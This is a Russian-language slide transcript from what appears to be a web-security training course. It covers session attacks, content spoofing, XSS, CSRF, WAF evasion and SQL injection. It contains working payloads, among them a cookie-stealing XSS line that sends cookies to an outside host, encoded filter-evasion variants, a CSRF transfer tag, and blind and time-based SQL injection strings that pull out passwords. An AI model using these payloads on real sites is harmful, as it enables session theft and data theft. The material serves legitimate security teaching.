Атаки на web-приложения. Основы
-
Upload
positive-hack-days -
Category
Technology
-
view
2.005 -
download
3
Transcript of Атаки на web-приложения. Основы
Атаки на web-приложенияОсновы
Лепихин ВладимирУчебный центр «Информзащита»
РазминкаАтаки на механизмы аутентификации
Часть 1
Классификация
Компоненты web-приложения
Клиент
СерверПриложений
СУБД
Web-сервер
Статистика
IBM X-Force 2011 Trend and Risk Report
Подбор
Подбор
Варианты подбора
• Подбор учётных данных• Подбор идентификатора сессии• Подбор названий директорий и файлов• Подбор критичных данных в полях ввода
Credential/session prediction
Предсказание идентификационных данных сессии
Credential/session prediction
• Предсказание или угадывание уникального идентификатора сессии пользователя с целью перехвата текущей сессии или последующей работы с web-сервером от имени скомпрометированного пользователя
Credential/session prediction
• HTTP – Stateless протокол • Для каждого запрашиваемого объекта
создается собственная сессия TCP• Аутентифицирована только текущая сессия• На практике многие приложения требуют
аутентификации нескольких соединений
Credential/session prediction
Идентификатор сессии сохраняется в поле cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может :• подключиться к серверу, используя текущий
идентификатор сессии;• вычислить или подобрать следующий
идентификатор сессии;• присвоить полученное значение идентификатора
cookie/скрытому полю формы/URL.
Фиксация сессии
Фиксация сессии
Фиксация сессии
Присвоение идентификатору сессии пользователя фиксированного значения, известного злоумышленнику, обычно выполняется в три стадии:• Установление сессии• Фиксация сессии• Подключение к сессии
Практическая работа 1
Атаки на механизмы аутентификации:• Подбор• Перехват текущей сессии
Самое слабое звено
Часть 2
Клиент – наименее защищённый компонент
Клиент
СерверПриложений
СУБД
Web-сервер
Подмена содержимого
Подмена содержимого
Подмена содержимого
• Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированы Web-сервером, а не переданы из внешнего источника.
Подмена содержимого
• Некоторые Web-страницы создаются с использованием динамических источников HTML-кода.
• Например, расположение фрейма (<frame src=" http://foo.example/file.html">) может передаваться в параметре URL(http://foo.example/page?frame_src=http://foo.example/file.html ).
• Атакующий может заменить значение параметра "frame_src" на "frame_src= http://attacker.example/spoof.html". При отображении результирующей страницы в строке адреса браузера будет отображаться адрес сервера (foo.example), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.
Подмена содержимого
• Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерирована злоумышленником.
• Таким образом, произойдет «дефейс» сайта http://foo.example на стороне пользователя, поскольку содержимое сервера будет загружено с сервера http://attacker.example. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.
Подмена содержимого
• Text only content spoofing • Markup reflected content spoofing
Markup reflected content spoofing(пример)
• Web-сервер динамически формирует фреймы на странице с пресс-релизами компании.
• При переходе по ссылке http://foo.example/pr?pg=http://foo.example/pr/01012003.html загружается страница следующего содержания:<HTML><FRAMESET COLS="100, *"><FRAME NAME="pr_menu" SRC="menu.html"><FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html”></FRAMESET></HTML>
Markup reflected content spoofing(пример)
• Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на значение http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html и сервер не проводит проверки параметра "pg", результирующий HTML код будет иметь следующий вид:
<HTML><FRAMESET COLS="100, *"><FRAME NAME="pr_menu" SRC="menu.html"><FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html"></FRAMESET></HTML>
• Для конечного пользователя содержимое, загруженное с сервера "attacker.example" будет выглядеть, как страница сервера "foo.example".
Межсайтовое выполнение сценариев
Межсайтовое выполнение сценариев
Межсайтовое выполнение сценариев
• Передача серверу HTML-кода, содержащего сценарии, которые впоследствии выполняются браузером клиента
• Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера
• Различают два варианта XSS:– Отражённый (non-persistent)– Сохранённый (persistent)
Отражённый вариантWeb-сервер
http://web/?search="><script>alert('XSS')</script>
...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...
Сохранённый вариант<script>
alert(document.cookie)</script>
<script>alert(document.cookie)
</script>
Использование
• Перехват сессии пользователя• Доступ к данным в контексте браузера• Перенаправление, подмена содержимого
Где встречается XSS?
• HTML-тэг• Тело JavaScript/VBScript/etc (eq DOM-
based)• Код HTML• Параметр тэга HTML• Java/Flash приложения• ActiveX• …
Пример обнаружения и использования• Возможный метод обнаружения уязвимости
/?id="><script>alert(1)</script>
– HTML-код возвращаемой страницы примет вид
В параметре тега …<font size=""><script>alert(1)</script>"…
В тексте …<p>"><script>alert(1)</script></p>…
– В результате браузер выполнит JavaScript-код
• Пример практического использования: "><script src=http://host/script.js></script>
Пример обнаружения и использования
• Уязвимый HTML-код:…<IMG SRC="$filename">…
• Эксплуатация:/?filename="onerror=alert('XSS');"/?filename="onerror=javascript:alert('XSS');"…
• HTML-код возвращаемой страницы примет вид:…<IMG SRC=""onerror=alert('XSS');"">…
• Пример практического использования:/?filename="onerror="xss=new/**/Image().src='http://host/sniff?
c='%2Bescape(document.cookie);"
Пример использования (DOM-based)
• Уязвимый код:...<select><script>document.write("<OPTION value=1>"+document.location.href.substring
(document.location.href.indexOf("default=")+8)+"</OPTION>");document.write("<OPTION value=2>English</OPTION>");</script></select>...• Штатная работа сценария:
/?default=Russia/?default=French…
• Эксплуатация:/?default=<script>alert(document.cookie)</script>
Как это работает?Web-сервер
1. fuzzing, поиск уязвимости
2. Передача «заряженной» ссылки:http://web/?search="><script>...</script>
3. Переход по ссылке
4. Выполнение исполняемогокода в браузере пользователя
5. Например, передача Web-сессии (cookies)
6. Работа с Web-приложением от имени атакованного пользователя
Подделка HTTP-запросов• Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request
Forgery, CSRF, XSRF)
– сложности при автоматизированном обнаружении
– Однако эта ошибка встречается в том или ином виде во многих веб-приложениях
– Степень опасности уязвимости CSRF зависит от функций и задач, решаемых приложением
• Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению
• Часто применяется связка XSS + CSRF
Как это работает?Интернет-форум
1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>
Интернет-банк(ibanking)
2. Пользователь посещает форум
3. Браузер загружает картинку по адресу:http://ibanking/action?...
4. Если сессия пользователя существует, то…
Фильтры (WAF)http://server/?id=6329&print=Y
Нас атакуют!
Ахтунг!!!
WAF Webserverhttp://server/?id=5351
http://server/?id=8234
http://server/?id="><script>...http://server/?id=1+union+select...
http://server/?id=/../../../etc/passwd
Нормализация данныхDecode HTML entities (e.g. c, ", ª)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...
Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...
Методы обхода WAF• Фундаментальные ограничения технологии
– Неспособность полностью защитить Web-приложение от всех возможных уязвимостей
• Общие проблемы
– балансировка между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика
– Обработка возвращаемого клиенту трафика• Уязвимости реализации
– Технологии нормализации запроса
– Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)
Методы обхода WAF• Сохраненный вариант XSS
В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки
• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//
• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie
•Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)
Возможные способы кодирования JavaScript
Пример: <script>alert(1)</script>Hex-кодирование (URL-представление)
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
HTML-кодирование
<script>alert(1)</script>
<script>alert(1)</script>
UTF7
+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-… UTF8, base64, escape-encoding (style), etc
Практическая работа 2
• Подмена содержимого• Межсайтовое выполнение сценариев• Расщепление запроса
Главная цель
Часть 3
Доступ к даннымКлиент
СерверПриложений
СУБД
Web-сервер
Внедрение SQL-кода
Внедрение SQL-кода
Внедрение SQL-кода
• Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением, операторов языка SQL
Внедрение SQL-кода
http://Server/inject.asp?id=1
id = Request.querystring("id")SQL_query = "SELECT * FROM test where id="+idSet RS = MyConn.Execute(SQL_query)
inject.asp
select * from test where id=1
Внедрение SQL-кодаhttp://Server/inject.asp?id=1;delete from test
id = Request.querystring("id")SQL_query = "SELECT * FROM test where id="+idSet RS = MyConn.Execute(SQL_query)
inject.asp
select * from test where id=1;delete from test
Ещё примерWeb-сервер СУБД
http://web/?id=6329&print=Y
….SELECT * from news where id = 6329….
Ещё примерWeb-сервер СУБД
http://web/?id=6329+union+select+id,pwd,0+from...
….SELECT * from news where id = 6329 union select id,pwd,0 from…….
Последствия внедрения SQL-кода
• Обход ограничений пользовательского ввода• Получение доступа к данным• Модификация данных• Получение доступа к файловой системе
Разновидности внедрения SQL-кода
• Обычное• Слепое
– Blind– Double Blind
Обычное внедрение SQL-кода• Обнаружение уязвимости
/?id=1+ORDER+BY+100
– SQL запрос примет вид
SELECT id, name from table where id =1 ORDER BY 100
– В результате может быть получено следующее сообщение об ошибке
ERROR 1054 (42S22): Unknown column '100' in 'order clause'• Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных
из найденных таблиц/?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns
– SQL запрос примет вид
SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns
– В результате может быть получена требуемая информация в формате
| 0 | table1:column1 || 0 | table1:column2 |
SQL Injection – Различия СУБДMySQL MSSQL MS Access Oracle DB2 PostgreSQL
Объединение строкconcat(,)
concat_ws(delim,)' '+' ' " "&" " ' '||' '
'' concat ''" "+" "
' '||' '' '||' '
Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /*
Объединение запросов
union union и ; union union union union и ;
Подзапросы v.4.1 >= Да Нет Да Да Да
Хранимые процедуры Нет Да Нет Да Нет Да
Наличие information_schema или его
аналогаv.5.0 >= Да Да Да Да Да
Особенности эксплуатации для разных СУБДПример (MySQL): SELECT * from table where id = 1 union select 1,2,3Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
SQL Injection – Различия СУБД• MySQL 4.1>=
– Первая запись/?id=1 union select name,123 from users limit 0,1– Вторая запись/?id=1 union select name,123 from users limit 1,1
• MSSQL– Первая запись/?id=1 union select table_name,123 from (select row_number() over (order by name) as
rownum, name from users) as t where t.rownum=1– Вторая запись/?id=1 union select table_name,123 from (select row_number() over (order by name) as
rownum, name from users) as t where t.rownum=2
• PostgreSQL– Первая запись/?id=1 union select name, null from users limit 1 offset 0– Вторая запись/?id=1 union select name, null from users limit 1 offset 1
ИЛИ– Первая запись/?id=1; select name, 123 from users limit 1 offset 0– Вторая запись/?id=1; select name, 123 from users limit 1 offset 1
Blind SQL Injection
• Главная сложность: отсутствует сообщение об ошибке
• Эксплуатируя уязвимость SQL Injection «слепым» методом, атакующий манипулирует логикой работы приложения (true/false)
Способы обнаружения Blind SQL-инъекций
http://site/?param=-1 OR 1=1http://site/?param=-1 OR 1=1--...http://site/?param=-1'http://site/?param=-1' AND 1=2...http://site/?param=-1' OR '1'='1...http://site/?param=-1"/*...http://site/?param=2http://site/?param=1http://site/?param=2-1...http://site/?param=1' AND 1=1http://site/?param=1' AND '1'='1…и т.д.
Способы использованияBlind SQL-инъекций
• Подбор первого символа у первой записи в таблице/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),1,1))=97,555,777)
– SQL запрос примет вид
SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777)
– В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
Способы использованияBlind SQL-инъекций
• Подбор второго символа у первой записи в таблице/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),2,1))=97,555,777)
– SQL запрос примет вид
SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),2,1))=97,555,777)
– В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
Double Blind SQL Injection• Эксплуатация уязвимости Double Blind SQL Injection
основана на временных задержках
• Для повышения быстродействия можно ограничить набор подбираемых символов.
• Классическая реализация: /?id=1+AND+if((ascii(lower(substring((select password from user limit 0,1),0,1))))=97,1,benchmark(2000000,md5(now())))
– На основе временной задержки ответа от web-сервера можно сделать вывод, что подбираемый символ угадан
– Манипулируя со значением 2000000, можно добиться приемлемой скорости под конкретное приложение
– Аналог benchmark() - sleep(). Функция sleep() является более безопасной для подобных целей, т.к. не использует процессорные ресурсы сервера
Практическая работа 3
• Внедрение SQL-кода